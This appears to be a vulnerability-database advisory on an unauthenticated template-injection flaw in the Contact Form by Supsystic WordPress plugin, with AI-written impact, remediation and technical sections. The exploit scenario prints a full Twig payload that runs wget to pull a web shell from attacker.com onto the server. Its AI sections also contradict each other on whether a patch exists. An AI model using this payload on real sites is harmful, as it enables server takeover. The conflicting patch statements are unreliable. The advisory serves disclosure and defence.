Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious GET parameter with Twig expressions
-
ExploitSubmit to cfsPreFill form field
-
ExecutionTwig parser executes arbitrary PHP functions
-
ImpactExecute OS commands with web server privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Contact Form by Supsystic WordPress plugin versions up to 1.7.36 must be installed and activated. Attacker sends unauthenticated HTTP GET request with malicious Twig expressions in cfsPreFill parameter. No victim interaction required. Remote unauthenticated exploitation. |
| Impact | This vulnerability presents critical real-world risk requiring immediate prioritization. The CVSS 9.8 score accurately reflects severity: network-accessible (AV:N), low attack complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and complete impact to confidentiality, integrity, and availability (C:H/I:H/A:H). The unauthenticated RCE attack surface makes this trivially exploitable by remote attackers with basic HTTP knowledge. While EPSS probability is not provided in the input data and no CISA KEV status confirms active exploitation at time of analysis, the technical characteristics suggest high weaponization potential: WordPress plugins have large install bases, the vulnerability requires only crafted GET requests (no complex exploitation chains), and RCE is the most impactful outcome. The availability of a public changeset (patch commit 3491826) and detailed Wordfence threat intelligence increases the likelihood that proof-of-concept exploits will emerge rapidly. Organizations running affected versions face immediate risk of complete server compromise, data exfiltration, malware deployment, and lateral movement. The SSVC framework would classify this as high technical impact (arbitrary code execution), fully automatable (HTTP GET request), and requiring immediate action given the attack vector characteristics. |
| Exploit ScenarioDerived | An unauthenticated remote attacker identifies a WordPress site running Contact Form by Supsystic version 1.7.36 or earlier through plugin enumeration (wp-content/plugins/contact-form-by-supsystic). The attacker crafts a malicious GET request to the contact form page with a parameter like ?cfsPreFill[field_name]={{_self.env.registerUndefinedFilterCallback('system')|filter|system('wget http://attacker.com/shell.php -O /var/www/html/backdoor.php')}}. When the vulnerable forms.php processes this prefill request, Twig renders the injected expression, registering the system() PHP function as a Twig filter and executing the command to download a web shell. The attacker now has persistent backdoor access with web server privileges, enabling data theft, website defacement, cryptocurrency mining, or pivoting to internal network resources. No public exploit code confirmation at time of analysis, but the simplicity of exploitation (single HTTP GET request) and availability of patch details significantly lower the bar for weaponization. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 30, 2026
Remote code execution in Contact Form by Supsystic plugin for WordPress (all versions ≤1.7.36) allows unauthenticated attackers to execute arbitrary PHP functions and OS commands via Server-Side Template Injection. Attackers exploit the plugin's unsandboxed Twig template engine by injecting malicious Twig expressions through GET parameters in the cfsPreFill functionality, leveraging registerUndefinedFilterCallback() to register arbitrary PHP callbacks. CVSS 9.8 (Critical) with network-accessible, low-complexity attack vector requiring no authentication. EPSS data not provided, but the combination of unauthenticated RCE in a widely-deployed WordPress plugin represents severe real-world risk. No KEV status confirmed at time of analysis.
RemediationAI
Upstream fix available: WordPress plugin repository changeset 3491826 addresses this vulnerability (https://plugins.trac.wordpress.org/changeset/3491826/contact-form-by-supsystic). Site administrators must immediately update Contact Form by Supsystic to version 1.7.37 or later through the WordPress admin dashboard (Plugins > Updates) or via WP-CLI. If immediate patching is not feasible, implement temporary workarounds: disable the Contact Form by Supsystic plugin entirely until patched, implement web application firewall (WAF) rules to block requests containing Twig template syntax in GET parameters (filter for patterns like {{, }}, _self.env, registerUndefinedFilterCallback), or restrict plugin access using authentication layers at the web server level. Audit server logs for suspicious GET requests to plugin endpoints containing Twig expressions as potential indicators of compromise. After patching, conduct security review for any unauthorized files, user accounts, or backdoors that may have been installed if exploitation occurred. Monitor Wordfence advisories for additional technical guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability stems from unsafe implementation of the Twig template engine (specifically Twig_Loader_String) without sandboxing controls in a WordPress contact form plugin (CPE: cpe:2.3:a:supsysticcom:contact_form_by_supsystic). The root cause is CWE-94 (Improper Control of Generation of Code), where user-controlled input from GET parameters flows directly into Twig template rendering. The plugin's cfsPreFill feature, designed to pre-populate form fields, accepts arbitrary GET parameters that are processed as Twig expressions. Attackers can inject Twig syntax like {{_self.env.registerUndefinedFilterCallback('system')}} to register PHP functions (system, exec, shell_exec) as Twig filters, then invoke them to execute OS commands. The vulnerable code path is visible in forms.php line 323 where user input undergoes insufficient sanitization before template rendering. This is a classic SSTI vulnerability where the template engine's intended flexibility becomes an attack vector when user input is not properly isolated from template processing logic.
Know when Contact Form By Supsystic gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Contact Form by Supsystic plugin for WordPress is vulnerable to Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) in all versions up to, and including, 1.7.36. This is due to the plugin using the Twig Twig_Loader_String template engine without sandboxing, combined with the cfsPreFill prefill functionality that allows unauthenticated users to inject arbitrary Twig expressions into form field values via GET parameters. This makes it possible for unauthenticated attackers to execute arbitrary PHP functions and OS commands on the server by leveraging Twig's registerUndefinedFilterCallback() method to register arbitrary PHP callbacks.
Executive ViewAI
Contact Form by Supsystic WordPress plugin (versions ≤1.7.36) contains a critical unauthenticated remote code execution vulnerability allowing attackers to execute arbitrary commands on affected websites without authentication. Any organization using this plugin is at severe risk of complete website compromise, data theft, and lateral movement into internal networks, making immediate remediation essential.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Immediately disable the plugin via WordPress admin or WP-CLI; (2) remove plugin files from wp-content/plugins/ directory to prevent reactivation; (3) deploy Web Application Firewall rule to block HTTP requests containing 'cfsPreFill' parameter combined with suspicious characters ({{, }}, |, etc.); (4) restrict plugin administrative access via .htaccess or firewall to known internal IP ranges only; (5) monitor access logs for GET requests to wp-admin containing cfsPreFill parameters.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
More in Contact Form By Supsystic
View allStored server-side template injection in the WordPress plugin Contact Form by Supsystic before 1.11.1 lets a WordPress a
Cross-site request forgery in the Supsystic Contact Form plugin for WordPress before 1.11.1 lets an attacker overwrite a
Unauthenticated deletion of stored form statistics is possible in the Contact Form by Supsystic WordPress plugin before
Cross-site request forgery in the WordPress plugin Contact Form by Supsystic before 1.11.1 lets an attacker permanently
Email header injection in the Supsystic Contact Form plugin for WordPress (versions before 1.11.1) lets unauthenticated
Stored cross-site scripting in the Contact Form by Supsystic WordPress plugin before 1.8.0 lets users with access to the
Unauthenticated information disclosure in the Supsystic Contact Form WordPress plugin (all versions through 1.10.5) lets
Stored cross-site scripting in the Contact Form by Supsystic WordPress plugin (all versions ≤1.10.2) allows unauthentica
Unauthenticated cross-site scripting in Contact Form by Supsystic WordPress plugin (all versions before 1.10.0) allows a
Unauthenticated authentication bypass in the Contact Form by Supsystic WordPress plugin (versions before 1.10.0) exposes
Missing authorization (CWE-862) in the WordPress plugin Contact Form by Supsystic, affecting all versions through 1.10.7
EUVD-2026-17239
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB
VulDB
GitHub PoC